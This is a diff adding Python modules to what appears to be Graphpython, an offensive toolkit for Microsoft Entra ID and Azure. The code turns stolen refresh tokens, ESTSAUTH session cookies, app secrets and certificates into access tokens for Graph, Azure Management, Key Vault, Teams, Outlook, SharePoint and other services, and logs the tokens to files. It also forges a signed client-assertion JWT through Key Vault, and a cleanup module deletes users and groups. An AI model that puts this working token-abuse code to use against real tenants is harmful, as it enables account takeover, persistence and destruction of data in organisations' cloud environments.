writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + + print_green(f"\n[+] Token information written to '{file_path}'.") + exit() + + print_red("[-] Polling expired. Token not obtained.") + print("=" * 80) + +# get-tenantid +def get_tenantid(args): + if not args.domain: + print_red("[-] Error: --domain argument is required for Get-TenantID command") + return + + print_yellow("[*] Get-TenantID") + print("=" * 80) + user_agent = get_user_agent(args) + headers = { + "User-Agent": user_agent + } + + try: + response = requests.get(f"https://login.microsoftonline.com/{args.domain}/.well-known/openid-configuration", headers=headers) + response.raise_for_status() + response_content = response.content.decode() + + open_id_config = json.loads(response_content) + tenant_id = open_id_config["authorization_endpoint"].split('/')[3] + + print(tenant_id) + + except requests.exceptions.RequestException as ex: + print_red(f"[-] Error retrieving OpenID configuration: {ex}") + print("=" * 80) + + +# get-tokenscope +def get_tokenscope(args): + print_yellow("[*] Get-TokenScope") + print("=" * 80) + + try: + json_token = jwt.decode(get_access_token(args.token), options={"verify_signature": False}) + scope = json_token.get("scp") + if scope: + scope_array = scope.split(' ') + for s in scope_array: + print(s) + else: + print_red("[-] No scopes found in the access token") + + except jwt.DecodeError: + print_red("[-] Invalid access token format") + print("=" * 80) + +# decode-accesstoken +def decode_accesstoken(args): + print_yellow("[*] Decode-AccessToken") + print("=" * 80) + + try: + json_token = jwt.decode(get_access_token(args.token), options={"verify_signature": False}) + for key, value in json_token.items(): + print(f"{key}: {value}") + + except jwt.DecodeError: + print_red("[-] Invalid access token format") + + print("=" * 80) + +# invoke-refreshtomsgraphtoken +def invoke_refreshtomsgraphtoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSGraphToken command") + return + + print_yellow("[*] Invoke-RefreshToMSGraphToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://graph.microsoft.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}" + + headers = { + "User-Agent": user_agent + } + + body = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": "openid" + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + body["claims"] = claims + + response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers) + if response.status_code == 200: + print_green("[+] Token Obtained!\n") + token_response = response.json() + for key, value in token_response.items(): + print(f"[*] {key}: {value}") + file_path = "new_graph_tokens.txt" + with open(file_path, "a") as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_response.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + + print_green(f"\n[+] Token information written to '{file_path}'.") + + else: + print_red(f"[-] Failed to get Microsoft Graph token: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoazuremanagementtoken +def invoke_refreshtoazuremanagementtoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command") + return + + print_yellow("[*] Invoke-RefreshToAzureManagementToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://management.azure.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}" + headers = { + "User-Agent": user_agent + } + + body = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": "openid" + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + body["claims"] = claims + + response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers) + if response.status_code == 200: + print_green("[+] Token Obtained!\n") + token_response = response.json() + for key, value in token_response.items(): + print(f"[*] {key}: {value}") + + file_path = "az_tokens.txt" + with open(file_path, "a") as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_response.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + else: + print_red(f"[-] Failed to get Azure Management token: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtovaulttoken +def invoke_refreshtovaulttoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command") + return + + print_yellow("[*] Invoke-RefreshToVaultToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + scope = "https://vault.azure.net/.default" + auth_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token" + + headers = { + "User-Agent": user_agent + } + + data = { + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "vault_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Azure Vault token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtomsteamstoken +def invoke_refreshtomsteamstoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSTeamsToken command") + return + + print_yellow("[*] Invoke-RefreshToMSTeamsToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" + refresh_token = get_access_token(args.token) + resource = "https://api.spaces.skype.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + headers = { + "User-Agent": user_agent + } + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + file_path = "teams_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get MS Teams token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoofficeappstoken +def invoke_refreshtoofficeappstoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeAppsToken command") + return + + print_yellow("[*] Invoke-RefreshToOfficeAppsToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" + refresh_token = get_access_token(args.token) + resource = "https://officeapps.live.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "officeapps_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Office Apps token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoofficemanagementtoken +def invoke_refreshtoofficemanagementtoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeManagementToken command") + return + + print_yellow("[*] Invoke-RefreshToOfficeManagementToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "00b41c95-dab0-4487-9791-b9d2c32c80f2" + refresh_token = get_access_token(args.token) + resource = "https://manage.office.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "officemanagement_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Office Management token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtooutlooktoken +def invoke_refreshtooutlooktoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOutlookToken command") + return + + print_yellow("[*] Invoke-RefreshToOutlookToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://outlook.office365.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "outlook_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Outlook token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtosubstratetoken +def invoke_refreshtosubstratetoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSubstrateToken command") + return + + print_yellow("[*] Invoke-RefreshToSubstrateToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://substrate.office.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "substrate_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Substrate token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoyammertoken +def invoke_refreshtoyammertoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToYammerToken command") + return + + print_yellow("[*] Invoke-RefreshToYammerToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://www.yammer.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "yammer_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Yammer token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtointuneenrollmenttoken +def invoke_refreshtointuneenrollmenttoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToIntuneEnrollment command") + return + + print_yellow("[*] Invoke-RefreshToIntuneEnrollment") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://enrollment.manage.microsoft.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "intune_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Intune Enrollment token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoonedrivetoken +def invoke_refreshtoonedrivetoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOneDriveToken command") + return + + print_yellow("[*] Invoke-RefreshToOneDriveToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" + refresh_token = get_access_token(args.token) + resource = "https://officeapps.live.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "onedrive_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get OneDrive token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtosharepointtoken +def invoke_refreshtosharepointtoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSharePointToken command") + return + + print_yellow("[*] Invoke-RefreshToSharePointToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" + refresh_token = get_access_token(args.token) + + try: + sharepoint_tenant = input("\nEnter SharePoint Tenant Name: ").strip() + use_admin = input("Use Admin Suffix '-admin' (yes/no): ").strip().lower() == 'yes' + admin_suffix = '-admin' if use_admin else '' + + except KeyboardInterrupt: + sys.exit() + + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + resource = f"https://{sharepoint_tenant}{admin_suffix}.sharepoint.com" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": "openid" + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("\n[+] Token Obtained!\n") + + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "sharepoint_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get SharePoint token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-certtoaccesstoken +def invoke_certtoaccesstoken(args): + if not args.tenant or not args.cert or not args.id: + print_red("[-] Error: --tenant, --cert, and --id arguments are required for Invoke-CertToAccessToken command") + return + + print_yellow("[*] Invoke-CertToAccessToken") + print("=" * 80) + tenant_id = args.tenant + client_id = args.id + cert_path = args.cert + + try: + audience = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" + with open(cert_path, 'rb') as cert_file: + pfx_data = cert_file.read() + + private_key, certificate, *_ = pkcs12.load_key_and_certificates(pfx_data, None, default_backend()) + # calculate x5t (X.509 cert SHA-1 thumbprint) + fingerprint = certificate.fingerprint(hashes.SHA1()) + x5t = base64.urlsafe_b64encode(fingerprint).rstrip(b'=').decode('ascii') + + payload = { + 'sub': client_id, + 'nbf': datetime.now(timezone.utc), + 'exp': datetime.now(timezone.utc) + timedelta(minutes=120), + 'iat': datetime.now(timezone.utc), + 'iss': client_id, + 'aud': audience + } + + private_key_pem = private_key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.TraditionalOpenSSL, + encryption_algorithm=serialization.NoEncryption() + ) + + jwt_token = jwt.encode(payload, private_key_pem, algorithm='RS256', headers={'kid': fingerprint.hex().upper(), 'x5t': x5t}) + user_agent = get_user_agent(args) + headers = { + 'Content-Type': 'application/x-www-form-urlencoded', + 'User-Agent': user_agent + } + + data = { + 'grant_type': 'client_credentials', + 'client_id': client_id, + 'client_assertion_type': 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer', + 'client_assertion': jwt_token, + 'scope': 'https://graph.microsoft.com/.default' + } + + try: + response = requests.post(f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token", headers=headers, data=data) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "cert_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get certificate access token: {str(e)}") + print_red(response.text) + except Exception as e: + print_red(f"[-] Error loading .pfx file: {str(e)}") + print("=" * 80) + +# invoke-estscookietoaccesstoken +def invoke_estscookietoaccesstoken(args): + if not args.tenant or not args.estsauthcookie: + print_red("[-] Error: --tenant and --estsauthcookie are required for Invoke-ESTSCookieToAccessToken command") + return + + print_yellow("[*] Invoke-ESTSCookieToAccessToken") + print("=" * 80) + user_agent = get_user_agent(args) + + try: + client = input("\nEnter Client (MSTeams, MSEdge, AzurePowerShell): ").strip() + if client == "": + client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" + print("Using Default Client: MSTeams") + elif client == "MSTeams": + client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" + elif client == "MSEdge": + client_id = "ecd6b820-32c2-49b6-98a6-444530e5a77a" + elif client == "AzurePowerShell": + client_id = "1950a258-227b-4e31-a9cf-717495945fc2" + else: + print_red(f"[-] Invalid client: {client}") + print("=" * 80) + sys.exit() + + except KeyboardInterrupt: + sys.exit() + + print() + resource = "https://graph.microsoft.com/" + headers = { + "User-Agent": user_agent + } + + ests_auth_cookie = get_access_token(args.estsauthcookie) + session = requests.Session() + + if ests_auth_cookie.startswith("ESTSAUTH="): + session.cookies.set("ESTSAUTH", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com") + elif ests_auth_cookie.startswith("ESTSAUTHPERSISTENT="): + session.cookies.set("ESTSAUTHPERSISTENT", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com") + else: + print_red("[-] Invalid ESTS cookie format") + print("=" * 80) + sys.exit() + + state = str(uuid.uuid4()) + redirect_uri = "https://login.microsoftonline.com/common/oauth2/nativeclient" + auth_url = f"https://login.microsoftonline.com/common/oauth2/authorize?{urlencode({'response_type': 'code', 'client_id': client_id, 'resource': resource, 'redirect_uri': redirect_uri, 'state': state})}" + response = session.get(auth_url, headers=headers, allow_redirects=False) + + if response.status_code == 302: + location = response.headers['Location'] + parsed_url = urlparse(location) + query_params = parse_qs(parsed_url.query) + + if 'code' in query_params: + refresh_token = query_params['code'][0] + else: + print_red("[-] Code not found in redirected URL path") + print_red(f" Requested URL: {auth_url}") + print_red(f" Response Code: {response.status_code}") + print_red(f" Response URI: {location}") + print("=" * 80) + return None + else: + print_red("[-] Expected 302 redirect but received other status") + print_red(f"[-] Requested URL: {auth_url}") + print_red(f"[-] Response Code: {response.status_code}") + print_red("[-] The request may require user interaction to complete, or the provided cookie is invalid") + print("=" * 80) + return None + + if refresh_token: + token_url = "https://login.microsoftonline.com/common/oauth2/token" + body = { + "resource": resource, + "client_id": client_id, + "grant_type": "authorization_code", + "redirect_uri": redirect_uri, + "code": refresh_token, + "scope": "openid" + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + body["claims"] = claims + + token_response = session.post(token_url, headers=headers, data=body) + token_response_json = token_response.json() + access_token = token_response_json.get('access_token') + + if access_token: + print_green("[+] Token Obtained!\n") + for key, value in token_response_json.items(): + print(f"[*] {key}: {value}") + + file_path = "estscookie_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_response_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + + print_green(f"\n[+] Token information written to '{file_path}'.") + print("=" * 80) + else: + print_red("[-] Failed to obtain access token.") + print("=" * 80) + return None + else: + print_red("[-] Refresh token is missing.") + print("=" * 80) + return None + +# invoke-appsecrettoaccesstoken +def invoke_appsecrettoaccesstoken(args): + if not args.tenant or not args.id or not args.secret: + print_red("[-] Error: --tenant, --id, and --secret required for Invoke-AppSecretToAccessToken command") + return + + print_yellow("[*] Invoke-AppSecretToAccessToken") + print("=" * 80) + + tenant_id = args.tenant + client_id = args.id + client_secret = args.secret + + token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" + token_data = { + 'grant_type': 'client_credentials', + 'client_id': client_id, + 'client_secret': client_secret, + 'scope': 'https://graph.microsoft.com/.default' # can change e.g. 'https://management.azure.com/.default' for Az + } + + # check cae for client_credential grants + + user_agent = get_user_agent(args) + headers = { + "User-Agent": user_agent + } + + try: + token_response = requests.post(token_url, data=token_data, headers=headers) + token_response.raise_for_status() + token_json = token_response.json() + + print_green("[+] Token Obtained!\n") + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "appsecret_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get app secret token: {str(e)}") + if 'token_response' in locals(): + print_red(token_response.text) + + print("=" * 80) + +# new-signedjwt +def new_signedjwt(args): + if not args.tenant or not args.id: + print_red("[-] Error: --tenant and --id required for New-SignedJWT command") + return + + print_yellow("[*] New-SignedJWT") + print("=" * 80) + + try: + kvURI = input("\nEnter Key Vault Certificate Identifier URL: ").strip() + except KeyboardInterrupt: + sys.exit() + + keyName = kvURI.split('/certificates/', 1)[-1].split('/', 1)[0] + # cert details + kv_uri = f"{kvURI.split('/certificates/')[0]}/certificates?api-version=7.3" + + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}" + } + + response = requests.get(kv_uri, headers=headers) + response.raise_for_status() + certs = response.json() + cert_uri = next((c for c in certs['value'] if keyName in c['id']), None) + + if not cert_uri: + raise Exception("Certificate not found.") + + cert_id = cert_uri['id'] + cert_uri_with_version = f"{cert_id}?api-version=7.3" + response = requests.get(cert_uri_with_version, headers=headers) + response.raise_for_status() + certificate = response.json() + x5t = certificate.get('x5t') + kid = certificate.get('kid') + + print_green("\n[+] Certificate Details Obtained!") + print(f"kid: {kid or 'N/A'}") + print(f"x5t: {x5t or 'N/A'}") + + # create JWT + print_green("\n[+] Forged JWT:") + app_id = args.id + audience = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token" + now = datetime.now(timezone.utc) + jwt_expiration = int((now + timedelta(minutes=2)).timestamp()) + not_before = int(now.timestamp()) + + jwt_header = { + "x5t": x5t, + "typ": "JWT", + "alg": "RS256" + } + + jwt_payload = { + "exp": jwt_expiration, + "sub": app_id, + "nbf": not_before, + "jti": str(uuid.uuid4()), + "aud": audience, + "iss": app_id + } + def base64url_encode(data): + return base64.urlsafe_b64encode(data.encode('utf-8')).decode('utf-8').rstrip('=') + + # encode header and payload + header_encoded = base64url_encode(json.dumps(jwt_header)) + payload_encoded = base64url_encode(json.dumps(jwt_payload)) + + # construct unsigned JWT + unsigned_jwt = f"{header_encoded}.{payload_encoded}" + jwt_sha256_hash = hashlib.sha256(unsigned_jwt.encode()).digest() + jwt_sha256_hash_b64 = base64.urlsafe_b64encode(jwt_sha256_hash).decode().rstrip('=') + + # sign JWT + new_uri = f"{kid}/sign?api-version=7.3" + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "Accept": "application/json", + "User-Agent": user_agent + + } + request_body = { + "alg": "RS256", + "value": jwt_sha256_hash_b64 + } + + response = requests.post(new_uri, headers=headers, json=request_body) + response.raise_for_status() + signature = response.json()['value'] + signed_jwt = f"{unsigned_jwt}.{signature}" + print(signed_jwt) + + # request azure management token + jwt_login = f"https://login.microsoftonline.com/{args.tenant}/oauth2/v2.0/token" + parameters = { + "client_id": args.id, + "client_assertion": signed_jwt, + "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer", + "scope": "https://management.azure.com/.default", + "grant_type": "client_credentials" + } + + response = requests.post(jwt_login, data=parameters) + + if not response.ok: + print_red(f"\n[-] Error: {response.status_code} ({response.reason}). {response.text}") + else: + print_green("\n[+] Azure Management Token Obtained!") + print(f"[*] Application ID: {args.id}") + print(f"[*] Tenant ID: {args.tenant}") + print("[*] Scope: https://management.azure.com/.default") + response_json = response.json() + for key, value in response_json.items(): + print(f"[*] {key}: {value}") + print("=" * 80) \ No newline at end of file diff --git a/Graphpython/commands/cleanup.py b/Graphpython/commands/cleanup.py new file mode 100644 index 0000000..8e51460 --- /dev/null +++ b/Graphpython/commands/cleanup.py @@ -0,0 +1,182 @@ +import requests +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token + +########### +# Cleanup # +########### + +# delete-user +def delete_user(args): + if not args.id: + print_red("[-] Error: --id argument is required for Delete-User command") + return + + print_yellow("[*] Delete-User") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] User deleted") + else: + print_red(f"[-] Failed to delete user: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# delete-group +def delete_group(args): + if not args.id: + print_red("[-] Error: --id argument is required for Delete-Group command") + return + + print_yellow("[*] Delete-Group") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] Group deleted") + 